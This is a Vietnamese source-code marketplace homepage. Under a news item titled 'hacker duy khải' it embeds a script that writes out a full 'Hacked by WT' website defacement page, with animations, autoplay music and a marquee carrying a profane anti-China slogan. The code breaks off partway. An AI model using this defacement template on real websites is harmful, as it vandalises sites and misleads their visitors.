Nền tảng mua bán source code hàng đầu, bán code kiếm tiền!


Website giaodichcode.com là điểm đến lý tưởng cho cộng đồng các nhà phát triển, doanh nghiệp và cá nhân quan tâm đến việc mua bán source code chất lượng. Chúng tôi cung cấp một môi trường an toàn và thuận tiện để người dùng chia sẻ, mua và bán các dự án mã nguồn mà không gặp rắc rối.

web mua bán source code, đăng bán code kiếm tiền, tìm kiếm source code chất lượng nhánh chóng trên giaodichcode.com

THU NHẬP TỰ ĐỘNG

Bạn có code hay upload ngay

HỖ TRỢ NHANH 24/7

Tư vấn & hỗ trợ

MÃ NGUỒN ĐA DẠNG

Kho code đa dạng & phong phú

GIAO DỊCH NHANH CHÓNG

Nạp tiền & rút tiền nhanh chóng

TOP SOURCE CODE MỚI NHẤT


SOURCE CODE HOT NHẤT


SOURCE CODE GAME


ỨNG DỤNG - APP NỔI BẬT


TIN TỨC - SỰ KIỆN


Cập nhật ngay những tin tức, sự kiện mới nhất trong ngành IT từ đội ngũ chuyên nghiệp của Chúng tôi nhé!

hacker duy khải
hacker duy khải

<script> document.write("<!--\r\n+------------------------------------------------------------\r\n| __ __ _____ \r\n| \\ \\ \/ \/ _ __|_ _|__ __ _ _ __ ___ \r\n| \\ \\ \/\\ \/ \/ | | \/ __|| |\/ _ \\\/ _` | '_ ` _ \\ \r\n| \\ V V \/| |_| \\__ \\| | __\/ (_| | | | | | |\r\n| \\_\/\\_\/ \\__,_|___\/|_|\\___|\\__,_|_| |_| |_|\r\n| \r\n+------------------------------------------------------------\r\n| Author: WS ? PWS\r\n| Telegram:\r\n| Generator Time: 21\/05\/2023\r\n+------------------------------------------------------------\r\n| Note: This code is for educational purposes only.\r\n+------------------------------------------------------------\r\n-->\r\n<!DOCTYPE html>\r\n<html lang=\"vi-VN\">\r\n\r\n<head>\r\n <meta charset=\"UTF-8\">\r\n <link rel=\"shortcut icon\" href=\"https:\/\/thanhdieu.com\/thanhdieuft-data\/img\/logo.jpg\" type=\"image\/x-icon\">\r\n <title>Hacked by WT<\/title>\r\n <meta property=\"og:image\"\r\n content=\"https:\/\/pkmacbook.com\/wp-content\/uploads\/2021\/12\/Bo-suu-tap-hinh-hacker-dep-nhat.jpg\">\r\n <style>\r\n @import url(\"https:\/\/fonts.googleapis.com\/css?family=Lalezar|Bevan&display=swap\");\r\n\r\n * {\r\n margin: 0;\r\n padding: 0;\r\n box-sizing: border-box\r\n }\r\n\r\n html,\r\n body {\r\n user-select: none;\r\n -webkit-user-select: none;\r\n -moz-user-select: none;\r\n font-family: Lalezar;\r\n width: 100%;\r\n height: 100%;\r\n background-color: rgb(0, 0, 0);\r\n background-image: url(\"https:\/\/i.imgur.com\/oky5bJf.jpeg\") !important;\r\n background-position: left top;\r\n background-size: auto;\r\n background-repeat: repeat;\r\n background-attachment: scroll;\r\n overflow: hidden;\r\n }\r\n\r\n #clock {\r\n position: relative;\r\n transform: translate(-50%, -50%) scale(0);\r\n width: 100%;\r\n top: -100%;\r\n height: 100%;\r\n background: transparent;\r\n }\r\n\r\n @media (max-width: 787px) {\r\n .label {\r\n font-size: 4vw;\r\n }\r\n\r\n .msg {\r\n display: none;\r\n }\r\n }\r\n\r\n .text {\r\n white-space: nowrap;\r\n font-weight: 700;\r\n font-size: 30px;\r\n color: #00fd22;\r\n text-shadow: 5px 5px 30px #ff0000;\r\n text-align: center;\r\n margin-top: 13em;\r\n }\r\n\r\n .container-text {\r\n margin-top: -100px;\r\n }\r\n\r\n .logo {\r\n height: 280px;\r\n width: 280px;\r\n margin-top: 5px;\r\n position: absolute;\r\n border-radius: 50%;\r\n box-shadow: 0 0 20px red;\r\n object-fit: cover;\r\n z-index: 100;\r\n pointer-events: none;\r\n }\r\n\r\n .rotate {\r\n animation: rotate 0.007s linear infinite;\r\n }\r\n\r\n @keyframes rotate {\r\n from {\r\n transform: rotate(0deg);\r\n }\r\n\r\n to {\r\n transform: rotate(360deg);\r\n }\r\n }\r\n\r\n #hacked {\r\n position: fixed;\r\n top: 0;\r\n left: 0;\r\n width: 100%;\r\n height: 100%;\r\n }\r\n\r\n .container {\r\n text-align: center;\r\n padding: 20px;\r\n border-radius: 10px;\r\n display: flex;\r\n flex-direction: column;\r\n justify-content: center;\r\n align-items: center;\r\n height: 100%;\r\n z-index: 1;\r\n }\r\n\r\n .label {\r\n display: inline-block;\r\n color: #4d4d4d;\r\n text-align: center;\r\n padding: 0 2%;\r\n font-size: 2vw;\r\n transition: left 1s, top 1s;\r\n transform-origin: 0% 0%;\r\n }\r\n\r\n .msg {\r\n z-index: 9999;\r\n font-family: monospace;\r\n font-weight: bold;\r\n text-transform: uppercase;\r\n font-size: 16px;\r\n padding-top: 1vh;\r\n background: red;\r\n box-shadow: 0 0 15px red;\r\n text-shadow: 0 0 10px white;\r\n color: white;\r\n padding: 0.5vw;\r\n position: absolute;\r\n left: 53%;\r\n margin-left: -10vw;\r\n top: 90%;\r\n margin-top: -2.5vh;\r\n text-align: center;\r\n min-width: 5vw;\r\n animation-name: blink;\r\n animation-duration: 0.6s;\r\n animation-iteration-count: infinite;\r\n animation-direction: alternate;\r\n animation-timing-function: linear;\r\n }\r\n\r\n canvas {\r\n display: block;\r\n }\r\n\r\n .label {\r\n display: inline-block;\r\n color: #4d4d4d;\r\n text-align: center;\r\n padding: 0 5px;\r\n font-size: 16px;\r\n transition: left 1s, top 1s;\r\n transform-origin: 0% 0%;\r\n }\r\n\r\n #console p {\r\n font-family: monospace;\r\n font-weight: bold;\r\n font-size: 4.1vh;\r\n margin: 0;\r\n padding: 0;\r\n line-height: 1;\r\n color: limegreen;\r\n text-shadow: 0px 0px 10px limegreen;\r\n }\r\n\r\n @keyframes blink {\r\n 0% {\r\n opacity: 0;\r\n }\r\n\r\n 100% {\r\n opacity: 1;\r\n }\r\n }\r\n\r\n h1,\r\n h2 {\r\n font-family: \"Lalezar\", cursive;\r\n color: red;\r\n text-align: center;\r\n }\r\n\r\n @media (max-width: 787px) {\r\n h1 {\r\n font-size: 25px;\r\n }\r\n }\r\n\r\n a {\r\n word-wrap: break-word;\r\n color: white;\r\n font-family: \"Lalezar\", cursive;\r\n text-align: center;\r\n }\r\n\r\n p {\r\n color: #6b69ff;\r\n font-family: \"Lalezar\", cursive;\r\n text-align: center;\r\n }\r\n\r\n .ag-format-container {\r\n width: 1142px;\r\n margin: 0 auto;\r\n }\r\n\r\n\r\n img {\r\n max-width: 100%;\r\n }\r\n\r\n body {\r\n background-color: #000;\r\n }\r\n\r\n .ag-smoke-block {\r\n z-index: 0;\r\n pointer-events: none;\r\n position: relative;\r\n }\r\n\r\n .ag-smoke-1 {\r\n z-index: -1;\r\n position: absolute;\r\n top: 0;\r\n right: 0;\r\n -webkit-animation: an-smoke-1 6s ease-in-out infinite;\r\n -moz-animation: an-smoke-1 6s ease-in-out infinite;\r\n -o-animation: an-smoke-1 6s ease-in-out infinite;\r\n animation: an-smoke-1 6s ease-in-out infinite;\r\n }\r\n\r\n .ag-smoke-2 {\r\n width: 57.1em;\r\n z-index: -2;\r\n top: 7em;\r\n }\r\n\r\n .ag-smoke-2,\r\n .ag-smoke-3 {\r\n position: absolute;\r\n left: 0;\r\n -webkit-animation: an-smoke-2 6s ease-in-out infinite;\r\n -moz-animation: an-smoke-2 6s ease-in-out infinite;\r\n -o-animation: an-smoke-2 6s ease-in-out infinite;\r\n animation: an-smoke-2 6s ease-in-out infinite;\r\n }\r\n\r\n .ag-smoke-3 {\r\n width: 100%;\r\n z-index: -4;\r\n top: -32em;\r\n }\r\n\r\n .ag-smoke-4 {\r\n width: 61.4em;\r\n z-index: -3;\r\n position: absolute;\r\n top: 12em;\r\n right: 0;\r\n -webkit-animation: an-smoke-3 6s ease-in-out infinite;\r\n -moz-animation: an-smoke-3 6s ease-in-out infinite;\r\n -o-animation: an-smoke-3 6s ease-in-out infinite;\r\n animation: an-smoke-3 6s ease-in-out infinite;\r\n }\r\n\r\n .ag-smoke__delay-1 {\r\n -webkit-animation-delay: 2s;\r\n -moz-animation-delay: 2s;\r\n -o-animation-delay: 2s;\r\n animation-delay: 2s;\r\n }\r\n\r\n .ag-smoke__delay-2 {\r\n -webkit-animation-delay: 4s;\r\n -moz-animation-delay: 4s;\r\n -o-animation-delay: 4s;\r\n animation-delay: 4s;\r\n }\r\n\r\n @-webkit-keyframes an-smoke-1 {\r\n 0% {\r\n opacity: 0;\r\n\r\n -webkit-transform: translateY(5%) rotate(.01deg);\r\n transform: translateY(5%) rotate(.01deg);\r\n }\r\n\r\n 50% {\r\n opacity: .9;\r\n }\r\n\r\n to {\r\n opacity: 0;\r\n\r\n -webkit-transform: translateY(0) rotate(.01deg);\r\n transform: translateY(0) rotate(.01deg);\r\n }\r\n }\r\n\r\n @-moz-keyframes an-smoke-1 {\r\n 0% {\r\n opacity: 0;\r\n\r\n -moz-transform: translateY(5%) rotate(.01deg);\r\n transform: translateY(5%) rotate(.01deg);\r\n }\r\n\r\n 50% {\r\n opacity: .9;\r\n }\r\n\r\n to {\r\n opacity: 0;\r\n\r\n -moz-transform: translateY(0) rotate(.01deg);\r\n transform: translateY(0) rotate(.01deg);\r\n }\r\n }\r\n\r\n @-o-keyframes an-smoke-1 {\r\n 0% {\r\n opacity: 0;\r\n\r\n -o-transform: translateY(5%) rotate(.01deg);\r\n transform: translateY(5%) rotate(.01deg);\r\n }\r\n\r\n 50% {\r\n opacity: .9;\r\n }\r\n\r\n to {\r\n opacity: 0;\r\n\r\n -o-transform: translateY(0) rotate(.01deg);\r\n transform: translateY(0) rotate(.01deg);\r\n }\r\n }\r\n\r\n @keyframes an-smoke-1 {\r\n 0% {\r\n opacity: 0;\r\n\r\n -webkit-transform: translateY(5%) rotate(.01deg);\r\n -moz-transform: translateY(5%) rotate(.01deg);\r\n -o-transform: translateY(5%) rotate(.01deg);\r\n transform: translateY(5%) rotate(.01deg);\r\n }\r\n\r\n 50% {\r\n opacity: .9;\r\n }\r\n\r\n to {\r\n opacity: 0;\r\n\r\n -webkit-transform: translateY(0) rotate(.01deg);\r\n -moz-transform: translateY(0) rotate(.01deg);\r\n -o-transform: translateY(0) rotate(.01deg);\r\n transform: translateY(0) rotate(.01deg);\r\n }\r\n }\r\n\r\n @-webkit-keyframes an-smoke-2 {\r\n 0% {\r\n opacity: 0;\r\n\r\n -webkit-transform: translate(-10%, 10%) rotate(.01deg);\r\n transform: translate(-10%, 10%) rotate(.01deg);\r\n }\r\n\r\n 50% {\r\n opacity: .9;\r\n }\r\n\r\n to {\r\n opacity: 0;\r\n\r\n -webkit-transform: translateY(5%) rotate(.01deg);\r\n transform: translateY(5%) rotate(.01deg);\r\n }\r\n }\r\n\r\n @-moz-keyframes an-smoke-2 {\r\n 0% {\r\n opacity: 0;\r\n\r\n -moz-transform: translate(-10%, 10%) rotate(.01deg);\r\n transform: translate(-10%, 10%) rotate(.01deg);\r\n }\r\n\r\n 50% {\r\n opacity: .9;\r\n }\r\n\r\n to {\r\n opacity: 0;\r\n\r\n -moz-transform: translateY(5%) rotate(.01deg);\r\n transform: translateY(5%) rotate(.01deg);\r\n }\r\n }\r\n\r\n @-o-keyframes an-smoke-2 {\r\n 0% {\r\n opacity: 0;\r\n\r\n -o-transform: translate(-10%, 10%) rotate(.01deg);\r\n transform: translate(-10%, 10%) rotate(.01deg);\r\n }\r\n\r\n 50% {\r\n opacity: .9;\r\n }\r\n\r\n to {\r\n opacity: 0;\r\n\r\n -o-transform: translateY(5%) rotate(.01deg);\r\n transform: translateY(5%) rotate(.01deg);\r\n }\r\n }\r\n\r\n @keyframes an-smoke-2 {\r\n 0% {\r\n opacity: 0;\r\n\r\n -webkit-transform: translate(-10%, 10%) rotate(.01deg);\r\n -moz-transform: translate(-10%, 10%) rotate(.01deg);\r\n -o-transform: translate(-10%, 10%) rotate(.01deg);\r\n transform: translate(-10%, 10%) rotate(.01deg);\r\n }\r\n\r\n 50% {\r\n opacity: .9;\r\n }\r\n\r\n to {\r\n opacity: 0;\r\n\r\n -webkit-transform: translateY(5%) rotate(.01deg);\r\n -moz-transform: translateY(5%) rotate(.01deg);\r\n -o-transform: translateY(5%) rotate(.01deg);\r\n transform: translateY(5%) rotate(.01deg);\r\n }\r\n }\r\n\r\n @-webkit-keyframes an-smoke-3 {\r\n 0% {\r\n opacity: 0;\r\n\r\n -webkit-transform: translateY(10%) rotate(.01deg);\r\n transform: translateY(10%) rotate(.01deg);\r\n }\r\n\r\n 50% {\r\n opacity: .9;\r\n }\r\n\r\n to {\r\n opacity: 0;\r\n\r\n -webkit-transform: translate(-10%, 5%) rotate(.01deg);\r\n transform: translate(-10%, 5%) rotate(.01deg);\r\n }\r\n }\r\n\r\n @-moz-keyframes an-smoke-3 {\r\n 0% {\r\n opacity: 0;\r\n\r\n -moz-transform: translateY(10%) rotate(.01deg);\r\n transform: translateY(10%) rotate(.01deg);\r\n }\r\n\r\n 50% {\r\n opacity: .9;\r\n }\r\n\r\n to {\r\n opacity: 0;\r\n\r\n -moz-transform: translate(-10%, 5%) rotate(.01deg);\r\n transform: translate(-10%, 5%) rotate(.01deg);\r\n }\r\n }\r\n\r\n @-o-keyframes an-smoke-3 {\r\n 0% {\r\n opacity: 0;\r\n\r\n -o-transform: translateY(10%) rotate(.01deg);\r\n transform: translateY(10%) rotate(.01deg);\r\n }\r\n\r\n 50% {\r\n opacity: .9;\r\n }\r\n\r\n to {\r\n opacity: 0;\r\n\r\n -o-transform: translate(-10%, 5%) rotate(.01deg);\r\n transform: translate(-10%, 5%) rotate(.01deg);\r\n }\r\n }\r\n\r\n @keyframes an-smoke-3 {\r\n 0% {\r\n opacity: 0;\r\n\r\n -webkit-transform: translateY(10%) rotate(.01deg);\r\n -moz-transform: translateY(10%) rotate(.01deg);\r\n -o-transform: translateY(10%) rotate(.01deg);\r\n transform: translateY(10%) rotate(.01deg);\r\n }\r\n\r\n 50% {\r\n opacity: .9;\r\n }\r\n\r\n to {\r\n opacity: 0;\r\n\r\n -webkit-transform: translate(-10%, 5%) rotate(.01deg);\r\n -moz-transform: translate(-10%, 5%) rotate(.01deg);\r\n -o-transform: translate(-10%, 5%) rotate(.01deg);\r\n transform: translate(-10%, 5%) rotate(.01deg);\r\n }\r\n }\r\n\r\n\r\n @media only screen and (max-width: 767px) {\r\n .ag-format-container {\r\n width: 96%;\r\n }\r\n\r\n }\r\n\r\n @media only screen and (max-width: 639px) {}\r\n\r\n @media only screen and (max-width: 479px) {}\r\n\r\n @media (min-width: 768px) and (max-width: 979px) {\r\n .ag-format-container {\r\n width: 750px;\r\n }\r\n\r\n }\r\n\r\n @media (min-width: 980px) and (max-width: 1161px) {\r\n .ag-format-container {\r\n width: 960px;\r\n }\r\n\r\n }\r\n\r\n #c_n1 {\r\n z-index: 9999999999999 !important;\r\n }\r\n\r\n .marquee {\r\n font-size: 2vw;\r\n color: #ff0000;\r\n font-family: Arial, Helvetica, sans-serif;\r\n height: 2.5vw;\r\n overflow: hidden;\r\n background: linear-gradient(9deg, #8b0000, #251212);\r\n position: relative;\r\n }\r\n\r\n @media only screen and (max-width: 767px) {\r\n .marquee {\r\n height: 5.5vw;\r\n }\r\n }\r\n\r\n .marquee div {\r\n display: block;\r\n width: 200%;\r\n position: absolute;\r\n overflow: hidden;\r\n animation: marquee 12s linear infinite;\r\n }\r\n\r\n .marquee span {\r\n float: left;\r\n width: 50%;\r\n }\r\n\r\n @keyframes marquee {\r\n 0% {\r\n left: 0;\r\n }\r\n\r\n 100% {\r\n left: -100%;\r\n }\r\n }\r\n <\/style>\r\n<\/head>\r\n\r\n<body onclick=\"theme_audio()\">\r\n <div class=\"marquee\">\r\n <div>\r\n <span>\ud83c\uddfb\ud83c\uddf3 Fuck OFF China - Vietnam Number One \ud83c\uddfb\ud83c\uddf3<\/span>\r\n <span>\ud83c\uddfb\ud83c\uddf3 Hoang Sa - Truong Sa Belong To Vietnamese \ud83c\uddfb\ud83c\uddf3<\/span>\r\n <\/div>\r\n <\/div>\r\n <div id=\"hacked\">\r\n <div class=\"container\">\r\n <img class=\"logo rotate\" src=\"https:\/\/i.imgur.com\/usRNe6R.jpeg\">\r\n <div class=\"text\"><\/div>\r\n <\/div>\r\n <div id=\"clock\"><\/div>\r\n <\/div>\r\n <section class=\"ag-smoke-block\">\r\n <div class=\"ag-smoke-1\"><img src=\"https:\/\/raw.githubusercontent.com\/SochavaAG\/example-mycode\/master\/pens\/animation-smoke-img\/images\/smoke-1.png\">\r\n <\/div>\r\n <div class=\"ag-smoke-1 ag-smoke__delay-1\"><img src=\"https:\/\/raw.githubusercontent.com\/SochavaAG\/example-mycode\/master\/pens\/animation-smoke-img\/images\/smoke-1.png\">\r\n <\/div>\r\n <div class=\"ag-smoke-1 ag-smoke__delay-2\"><img src=\"https:\/\/raw.githubusercontent.com\/SochavaAG\/example-mycode\/master\/pens\/animation-smoke-img\/images\/smoke-1.png\">\r\n <\/div>\r\n <div class=\"ag-smoke-2\"><img src=\"https:\/\/raw.githubusercontent.com\/SochavaAG\/example-mycode\/master\/pens\/animation-smoke-img\/images\/smoke-2.png\">\r\n <\/div>\r\n <div class=\"ag-smoke-2 ag-smoke__delay-1\"><img src=\"https:\/\/raw.githubusercontent.com\/SochavaAG\/example-mycode\/master\/pens\/animation-smoke-img\/images\/smoke-2.png\">\r\n <\/div>\r\n <div class=\"ag-smoke-2 ag-smoke__delay-2\"><img src=\"https:\/\/raw.githubusercontent.com\/SochavaAG\/example-mycode\/master\/pens\/animation-smoke-img\/images\/smoke-2.png\">\r\n <\/div>\r\n <div class=\"ag-smoke-3\"><img src=\"https:\/\/raw.githubusercontent.com\/SochavaAG\/example-mycode\/master\/pens\/animation-smoke-img\/images\/smoke-3.png\">\r\n <\/div>\r\n <div class=\"ag-smoke-3 ag-smoke__delay-1\"><img src=\"https:\/\/raw.githubusercontent.com\/SochavaAG\/example-mycode\/master\/pens\/animation-smoke-img\/images\/smoke-3.png\">\r\n <\/div>\r\n <div class=\"ag-smoke-3 ag-smoke__delay-2\"><img src=\"https:\/\/raw.githubusercontent.com\/SochavaAG\/example-mycode\/master\/pens\/animation-smoke-img\/images\/smoke-3.png\">\r\n <\/div>\r\n <div class=\"ag-smoke-4\"><img src=\"https:\/\/raw.githubusercontent.com\/SochavaAG\/example-mycode\/master\/pens\/animation-smoke-img\/images\/smoke-4.png\">\r\n <\/div>\r\n <div class=\"ag-smoke-4 ag-smoke__delay-1\"><img src=\"https:\/\/raw.githubusercontent.com\/SochavaAG\/example-mycode\/master\/pens\/animation-smoke-img\/images\/smoke-4.png\">\r\n <\/div>\r\n <div class=\"ag-smoke-4 ag-smoke__delay-2\"><img src=\"https:\/\/raw.githubusercontent.com\/SochavaAG\/example-mycode\/master\/pens\/animation-smoke-img\/images\/smoke-4.png\">\r\n <\/div>\r\n <div class=\"ag-format-container\">\r\n <\/div>\r\n <\/section>\r\n <script src=\"https:\/\/cdnjs.cloudflare.com\/ajax\/libs\/canvas-nest.js\/1.0.1\/canvas-nest.js\" color=\"255, 0, 0\"\r\n pointcolor=\"127,255,0\" opacity=\"1\" count=\"450\"><\/script>\r\n <script>\r\n const music= [\r\n \"https:\/\/files.catbox.moe\/rsi3ma.mp3\", \r\n];\r\nlet index = Math.floor(Math.random() * music.length);\r\nconst audio = new Audio(music[index]);\r\nfunction theme_audio(){\r\n audio.play();\r\n}\r\naudio.addEventListener(\"ended\", function() {\r\n index = (index + 1) % music.length;\r\n audio.src = music[index];\r\n audio.play();\r\n});\r\n <\/script>\r\n <script>\r\n var monthText=[\"\u58f9\u6708\",\"\u8d30\u6708\",\"\u53c1\u6708\",\"\u8086\u6708\",\"\u4f0d\u6708\",\"\u9646\u6708\",\"\u67d2\u6708\",\"\u634c\u6708\",\"\u7396\u6708\",\"\u62fe\u6708\",\"\u62fe\u58f9\u6708\",\"\u62fe\u8d30\u6708\"];var dayText=[\"\u58f9\u53f7\",\"\u8d30\u53f7\",\"\u53c1\u53f7\",\"\u8086\u53f7\",\"\u4f0d\u53f7\",\"\u9646\u53f7\",\"\u67d2\u53f7\",\"\u634c\u53f7\",\"\u7396\u53f7\",\"\u62fe\u53f7\",\"\u62fe\u58f9\u53f7\",\"\u62fe\u8d30\u53f7\",\"\u62fe\u53c1\u53f7\",\"\u62fe\u8086\u53f7\",\"\u62fe\u4f0d\u53f7\",\"\u62fe\u9646\u53f7\",\"\u62fe\u67d2\u53f7\",\"\u62fe\u634c\u53f7\",\"\u62fe\u7396\u53f7\",\"\u8d30\u62fe\u53f7\",\"\u8d30\u62fe\u58f9\u53f7\",\"\u8d30\u62fe\u8d30\u53f7\",\"\u8d30\u62fe\u53c1\u53f7\",\"\u8d30\u62fe\u8086\u53f7\",\"\u8d30\u62fe\u4f0d\u53f7\",\"\u8d30\u62fe\u9646\u53f7\",\"\u8d30\u62fe\u67d2\u53f7\",\"\u8d30\u62fe\u634c\u53f7\",\"\u8d30\u62fe\u7396\u53f7\",\"\u53c1\u62fe\u53f7\",\"\u53c1\u62fe\u58f9\u53f7\"];var weekText=[\"\u661f\u671f\u65e5\",\"\u661f\u671f\u58f9\",\"\u661f\u671f\u8d30\",\"\u661f\u671f\u53c1\",\"\u661f\u671f\u8086\",\"\u661f\u671f\u4f0d\",\"\u661f\u671f\u9646\"];var hourText=[\"\u96f6\u70b9\",\"\u58f9\u70b9\",\"\u8d30\u70b9\",\"\u53c1\u70b9\",\"\u8086\u70b9\",\"\u4f0d\u70b9\",\"\u9646\u70b9\",\"\u67d2\u70b9\",\"\u634c\u70b9\",\"\u7396\u70b9\",\"\u62fe\u70b9\",\"\u62fe\u58f9\u70b9\",\"\u62fe\u8d30\u70b9\",\"\u62fe\u53c1\u70b9\",\"\u62fe\u8086\u70b9\",\"\u62fe\u4f0d\u70b9\",\"\u62fe\u9646\u70b9\",\"\u62fe\u67d2\u70b9\",\"\u62fe\u634c\u70b9\",\"\u62fe\u7396\u70b9\",\"\u8d30\u62fe\u70b9\",\"\u8d30\u62fe\u58f9\u70b9\",\"\u8d30\u62fe\u8d30\u70b9\",\"\u8d30\u62fe\u53c1\u70b9\"];var minuteText=[\"\u58f9\u5206\",\"\u8d30\u5206\",\"\u53c1\u5206\",\"\u8086\u5206\",\"\u4f0d\u5206\",\"\u9646\u5206\",\"\u67d2\u5206\",\"\u634c\u5206\",\"\u7396\u5206\",\"\u62fe\u5206\",\"\u62fe\u58f9\u5206\",\"\u62fe\u8d30\u5206\",\"\u62fe\u53c1\u5206\",\"\u62fe\u8086\u5206\",\"\u62fe\u4f0d\u5206\",\"\u62fe\u9646\u5206\",\"\u62fe\u67d2\u5206\",\"\u62fe\u634c\u5206\",\"\u62fe\u7396\u5206\",\"\u8d30\u62fe\u5206\",\"\u8d30\u62fe\u58f9\u5206\",\"\u8d30\u62fe\u8d30\u5206\",\"\u8d30\u62fe\u53c1\u5206\",\"\u8d30\u62fe\u8086\u5206\",\"\u8d30\u62fe\u4f0d\u5206\",\"\u8d30\u62fe\u9646\u5206\",\"\u8d30\u62fe\u67d2\u5206\",\"\u8d30\u62fe\u634c\u5206\",\"\u8d30\u62fe\u7396\u5206\",\"\u53c1\u62fe\u5206\",\"\u53c1\u62fe\u58f9\u5206\",\"\u53c1\u62fe\u8d30\u5206\",\"\u53c1\u62fe\u53c1\u5206\",\"\u53c1\u62fe\u8086\u5206\",\"\u53c1\u62fe\u4f0d\u5206\",\"\u53c1\u62fe\u9646\u5206\",\"\u53c1\u62fe\u67d2\u5206\",\"\u53c1\u62fe\u634c\u5206\",\"\u53c1\u62fe\u7396\u5206\",\"\u8086\u62fe\u5206\",\"\u8086\u62fe\u58f9\u5206\",\"\u8086\u62fe\u8d30\u5206\",\"\u8086\u62fe\u53c1\u5206\",\"\u8086\u62fe\u8086\u5206\",\"\u8086\u62fe\u4f0d\u5206\",\"\u8086\u62fe\u9646\u5206\",\"\u8086\u62fe\u67d2\u5206\",\"\u8086\u62fe\u634c\u5206\",\"\u8086\u62fe\u7396\u5206\",\"\u4f0d\u62fe\u5206\",\"\u4f0d\u62fe\u58f9\u5206\",\"\u4f0d\u62fe\u8d30\u5206\",\"\u4f0d\u62fe\u53c1\u5206\",\"\u4f0d\u62fe\u8086\u5206\",\"\u4f0d\u62fe\u4f0d\u5206\",\"\u4f0d\u62fe\u9646\u5206\",\"\u4f0d\u62fe\u67d2\u5206\",\"\u4f0d\u62fe\u634c\u5206\",\"\u4f0d\u62fe\u7396\u5206\",\"\u9646\u62fe\u5206\"];var secondsText=[\"\u58f9\u79d2\",\"\u8d30\u79d2\",\"\u53c1\u79d2\",\"\u8086\u79d2\",\"\u4f0d\u79d2\",\"\u9646\u79d2\",\"\u67d2\u79d2\",\"\u634c\u79d2\",\"\u7396\u79d2\",\"\u62fe\u79d2\",\"\u62fe\u58f9\u79d2\",\"\u62fe\u8d30\u79d2\",\"\u62fe\u53c1\u79d2\",\"\u62fe\u8086\u79d2\",\"\u62fe\u4f0d\u79d2\",\"\u62fe\u9646\u79d2\",\"\u62fe\u67d2\u79d2\",\"\u62fe\u634c\u79d2\",\"\u62fe\u7396\u79d2\",\"\u8d30\u62fe\u79d2\",\"\u8d30\u62fe\u58f9\u79d2\",\"\u8d30\u62fe\u8d30\u79d2\",\"\u8d30\u62fe\u53c1\u79d2\",\"\u8d30\u62fe\u8086\u79d2\",\"\u8d30\u62fe\u4f0d\u79d2\",\"\u8d30\u62fe\u9646\u79d2\",\"\u8d30\u62fe\u67d2\u79d2\",\"\u8d30\u62fe\u634c\u79d2\",\"\u8d30\u62fe\u7396\u79d2\",\"\u53c1\u62fe\u79d2\",\"\u53c1\u62fe\u58f9\u79d2\",\"\u53c1\u62fe\u8d30\u79d2\",\"\u53c1\u62fe\u53c1\u79d2\",\"\u53c1\u62fe\u8086\u79d2\",\"\u53c1\u62fe\u4f0d\u79d2\",\"\u53c1\u62fe\u9646\u79d2\",\"\u53c1\u62fe\u67d2\u79d2\",\"\u53c1\u62fe\u634c\u79d2\",\"\u53c1\u62fe\u7396\u79d2\",\"\u8086\u62fe\u79d2\",\"\u8086\u62fe\u58f9\u79d2\",\"\u8086\u62fe\u8d30\u79d2\",\"\u8086\u62fe\u53c1\u79d2\",\"\u8086\u62fe\u8086\u79d2\",\"\u8086\u62fe\u4f0d\u79d2\",\"\u8086\u62fe\u9646\u79d2\",\"\u8086\u62fe\u67d2\u79d2\",\"\u8086\u62fe\u634c\u79d2\",\"\u8086\u62fe\u7396\u79d2\",\"\u4f0d\u62fe\u79d2\",\"\u4f0d\u62fe\u58f9\u79d2\",\"\u4f0d\u62fe\u8d30\u79d2\",\"\u4f0d\u62fe\u53c1\u79d2\",\"\u4f0d\u62fe\u8086\u79d2\",\"\u4f0d\u62fe\u4f0d\u79d2\",\"\u4f0d\u62fe\u9646\u79d2\",\"\u4f0d\u62fe\u67d2\u79d2\",\"\u4f0d\u62fe\u634c\u79d2\",\"\u4f0d\u62fe\u7396\u79d2\",\"\u9646\u62fe\u79d2\"];var clock;var monthList=[];var dayList=[];var weekList=[];var hourList=[];var minuteList=[];var secondsList=[];var isCircle = false;\r\nvar textSet = [\r\n\t[monthText, monthList],\r\n\t[dayText, dayList],\r\n\t[weekText, weekList],\r\n\t[hourText, hourList],\r\n\t[minuteText, minuteList],\r\n\t[secondsText, secondsList]\r\n];\r\nwindow.onload = function() {\r\nsetTimeout(function() {\r\ndocument.querySelector('.logo').classList.remove('rotate');\r\n}, 1000);\r\n\tinit();\r\n\tsetInterval(function() {\r\n\t\trunTime();\r\n\t},100);\r\n\tchangePosition();\r\n\tsetTimeout(function() {\r\n\t\tchangeCircle();\r\n\t}, 10);\r\n}\r\n\r\nfunction init() {\r\n\tclock = document.getElementById('clock');\r\n\tfor (var i = 0; i < textSet.length; i++) {\r\n\t\tfor (var j = 0; j < textSet[i][0].length; j++) {\r\n\t\t\tvar temp = createLabel(textSet[i][0][j]);\r\n\t\t\tclock.appendChild(temp);\r\n\t\t\ttextSet[i][1].push(temp);\r\n\t\t}\r\n\t}\r\n}\r\n\r\nfunction createLabel(text) {\r\n\tvar div = document.createElement('div');\r\n\tdiv.classList.add('label');\r\n\tdiv.innerText = text;\r\n\treturn div;\r\n}\r\n\r\nfunction runTime() {\r\n var now = new Date();\r\n var month = now.getMonth();\r\n var day = now.getDate();\r\n var week = now.getDay();\r\n var hour = now.getHours();\r\n var minute = now.getMinutes();\r\n var seconds = now.getSeconds();\r\n \/\/ seconds = seconds * 1 % 10;\r\n minute = (minute + seconds \/ 10) * 2 % 10;\r\n hour = (minute + seconds \/ 60) * 1 % 60;\r\n \/\/ day = (day + hour \/ 24) * 1 % 31;\r\n week = (week + day \/ 7) * 50 % 7;\r\n month = (month + day \/ 31) * 1 % 12;\r\n initStyle();\r\n var nowValue = [month, day - 1, week, hour, minute, seconds];\r\n for (var i = 0; i < nowValue.length; i++) {\r\n var num = Math.floor(nowValue[i]);\r\n textSet[i][1][num].style.color = 'red';\r\n }\r\n if (isCircle) {\r\n var widthMid = document.body.clientWidth \/ 2;\r\n var heightMid = document.body.clientHeight \/ 2;\r\n for (var i = 0; i < textSet.length; i++) {\r\n for (var j = 0; j < textSet[i][0].length; j++) {\r\n var r = (i + 1) * 35 + 50 * i;\r\n var deg = 360 \/ textSet[i][1].length * (j - nowValue[i]);\r\n var x = r * Math.sin(deg * Math.PI \/ 180) + widthMid;\r\n var y = heightMid - r * Math.cos(deg * Math.PI \/ 180);\r\n var temp = textSet[i][1][j];\r\n temp.style.transform = 'rotate(' + (-90 + deg) + 'deg)';\r\n temp.style.left = x + 'px';\r\n temp.style.top = y + 'px';\r\n }\r\n }\r\n }\r\n}\r\nfunction initStyle() {\r\n\tvar label = document.getElementsByClassName('label');\r\n\tfor (var i = 0; i < 